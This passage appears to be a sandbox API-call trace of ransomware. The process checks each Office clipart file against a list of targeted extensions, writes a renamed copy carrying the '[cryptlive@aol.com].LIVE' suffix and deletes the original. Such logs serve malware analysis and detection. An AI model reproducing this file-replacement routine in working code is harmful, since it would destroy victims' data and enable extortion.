(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.510] lstrlenW (lpString=".doc") returned 4 [0137.510] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString=".docx") returned 5 [0137.510] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.510] lstrlenW (lpString=".pdf") returned 4 [0137.510] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString=".xls") returned 4 [0137.510] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.510] lstrlenW (lpString=".xlsx") returned 5 [0137.510] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.510] lstrlenW (lpString=".ppt") returned 4 [0137.510] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.510] lstrlenW (lpString=".zip") returned 4 [0137.510] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.510] lstrlenW (lpString=".rar") returned 4 [0137.510] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString=".bz2") returned 4 [0137.510] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString=".7z") returned 3 [0137.510] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.510] lstrlenW (lpString=".dbf") returned 4 [0137.510] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.510] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.510] lstrlenW (lpString=".1cd") returned 4 [0137.510] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".jpg") returned 4 [0137.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".doc") returned 4 [0137.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString=".docx") returned 5 [0137.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.511] lstrlenW (lpString=".pdf") returned 4 [0137.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString=".xls") returned 4 [0137.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.511] lstrlenW (lpString=".xlsx") returned 5 [0137.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.511] lstrlenW (lpString=".ppt") returned 4 [0137.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".zip") returned 4 [0137.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.511] lstrlenW (lpString=".rar") returned 4 [0137.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString=".bz2") returned 4 [0137.511] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString=".7z") returned 3 [0137.511] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".dbf") returned 4 [0137.511] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".1cd") returned 4 [0137.511] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 63 [0137.511] lstrlenW (lpString=".jpg") returned 4 [0137.511] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.512] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.512] lstrlenW (lpString="BL00296_.WMF") returned 12 [0137.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.522] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=812) returned 1 [0137.522] CloseHandle (hObject=0x39c) returned 1 [0137.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 0x20 [0137.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0137.523] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.523] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.523] GetLastError () returned 0x0 [0137.524] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x32c, lpOverlapped=0x0) returned 1 [0137.526] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x330, lpOverlapped=0x0) returned 1 [0137.527] ReadFile (in: hFile=0x39c, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.527] WriteFile (in: hFile=0x38c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.527] SetEndOfFile (hFile=0x38c) returned 1 [0137.537] CloseHandle (hObject=0x38c) returned 1 [0137.537] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.537] SetEndOfFile (hFile=0x39c) returned 1 [0137.539] CloseHandle (hObject=0x39c) returned 1 [0137.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString=".doc") returned 4 [0137.616] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString=".docx") returned 5 [0137.616] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.616] lstrlenW (lpString=".pdf") returned 4 [0137.616] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString=".xls") returned 4 [0137.616] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.616] lstrlenW (lpString=".xlsx") returned 5 [0137.616] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.616] lstrlenW (lpString=".ppt") returned 4 [0137.616] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString=".zip") returned 4 [0137.616] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.616] lstrlenW (lpString=".rar") returned 4 [0137.616] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString=".bz2") returned 4 [0137.616] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString=".7z") returned 3 [0137.616] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString=".dbf") returned 4 [0137.616] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString=".1cd") returned 4 [0137.616] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.616] lstrlenW (lpString=".jpg") returned 4 [0137.616] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString=".doc") returned 4 [0137.617] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString=".docx") returned 5 [0137.617] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.617] lstrlenW (lpString=".pdf") returned 4 [0137.617] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString=".xls") returned 4 [0137.617] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.617] lstrlenW (lpString=".xlsx") returned 5 [0137.617] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.617] lstrlenW (lpString=".ppt") returned 4 [0137.617] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString=".zip") returned 4 [0137.617] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.617] lstrlenW (lpString=".rar") returned 4 [0137.617] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString=".bz2") returned 4 [0137.617] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString=".7z") returned 3 [0137.617] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString=".dbf") returned 4 [0137.617] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString=".1cd") returned 4 [0137.617] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 63 [0137.617] lstrlenW (lpString=".jpg") returned 4 [0137.617] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.617] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.617] lstrlenW (lpString="BL00524_.WMF") returned 12 [0137.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0137.618] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=6996) returned 1 [0137.618] CloseHandle (hObject=0x388) returned 1 [0137.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x20 [0137.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0137.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.619] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0137.680] GetLastError () returned 0x0 [0137.680] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x1b54, lpOverlapped=0x0) returned 1 [0137.682] WriteFile (in: hFile=0x390, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x1b60, lpOverlapped=0x0) returned 1 [0137.683] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.683] WriteFile (in: hFile=0x390, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.683] SetEndOfFile (hFile=0x390) returned 1 [0137.683] CloseHandle (hObject=0x390) returned 1 [0137.684] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.684] SetEndOfFile (hFile=0x388) returned 1 [0137.686] CloseHandle (hObject=0x388) returned 1 [0137.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0137.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.699] lstrlenW (lpString=".doc") returned 4 [0137.699] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.699] lstrlenW (lpString=".docx") returned 5 [0137.699] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.699] lstrlenW (lpString=".pdf") returned 4 [0137.699] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.699] lstrlenW (lpString=".xls") returned 4 [0137.699] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.699] lstrlenW (lpString=".xlsx") returned 5 [0137.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.699] lstrlenW (lpString=".ppt") returned 4 [0137.699] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.699] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.699] lstrlenW (lpString=".zip") returned 4 [0137.699] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.699] lstrlenW (lpString=".rar") returned 4 [0137.699] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.699] lstrlenW (lpString=".bz2") returned 4 [0137.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString=".7z") returned 3 [0137.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString=".dbf") returned 4 [0137.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString=".1cd") returned 4 [0137.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString=".jpg") returned 4 [0137.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString=".doc") returned 4 [0137.700] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString=".docx") returned 5 [0137.700] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.700] lstrlenW (lpString=".pdf") returned 4 [0137.700] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString=".xls") returned 4 [0137.700] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.700] lstrlenW (lpString=".xlsx") returned 5 [0137.700] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.700] lstrlenW (lpString=".ppt") returned 4 [0137.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.700] lstrlenW (lpString=".zip") returned 4 [0137.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.700] lstrlenW (lpString=".rar") returned 4 [0137.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString=".bz2") returned 4 [0137.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.700] lstrlenW (lpString=".7z") returned 3 [0137.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.701] lstrlenW (lpString=".dbf") returned 4 [0137.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.701] lstrlenW (lpString=".1cd") returned 4 [0137.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 63 [0137.701] lstrlenW (lpString=".jpg") returned 4 [0137.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.701] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0137.701] lstrlenW (lpString="BL00525_.WMF") returned 12 [0137.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.701] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=9590) returned 1 [0137.701] CloseHandle (hObject=0x1dc) returned 1 [0137.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 0x20 [0137.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0137.702] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.702] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0137.703] GetLastError () returned 0x0 [0137.703] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2576, lpOverlapped=0x0) returned 1 [0137.704] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2580, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2580, lpOverlapped=0x0) returned 1 [0137.705] ReadFile (in: hFile=0x1dc, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.705] WriteFile (in: hFile=0x1f8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.705] SetEndOfFile (hFile=0x1f8) returned 1 [0137.705] CloseHandle (hObject=0x1f8) returned 1 [0137.706] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.706] SetEndOfFile (hFile=0x1dc) returned 1 [0137.708] CloseHandle (hObject=0x1dc) returned 1 [0137.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.708] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf")) returned 1 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF") returned 63 [0137.709] lstrlenW (lpString=".doc") returned 4 [0137.709] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString=".docx") returned 5 [0137.709] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.709] lstrlenW (lpString=".pdf") returned 4 [0137.709] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.709] lstrlenW (lpString=".xls") returned 4 [0137.709] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.709] lstrlenW (lpString=".xlsx") returned 5 [0137.709] lstrcmpiW (lpString1=".xlsx", 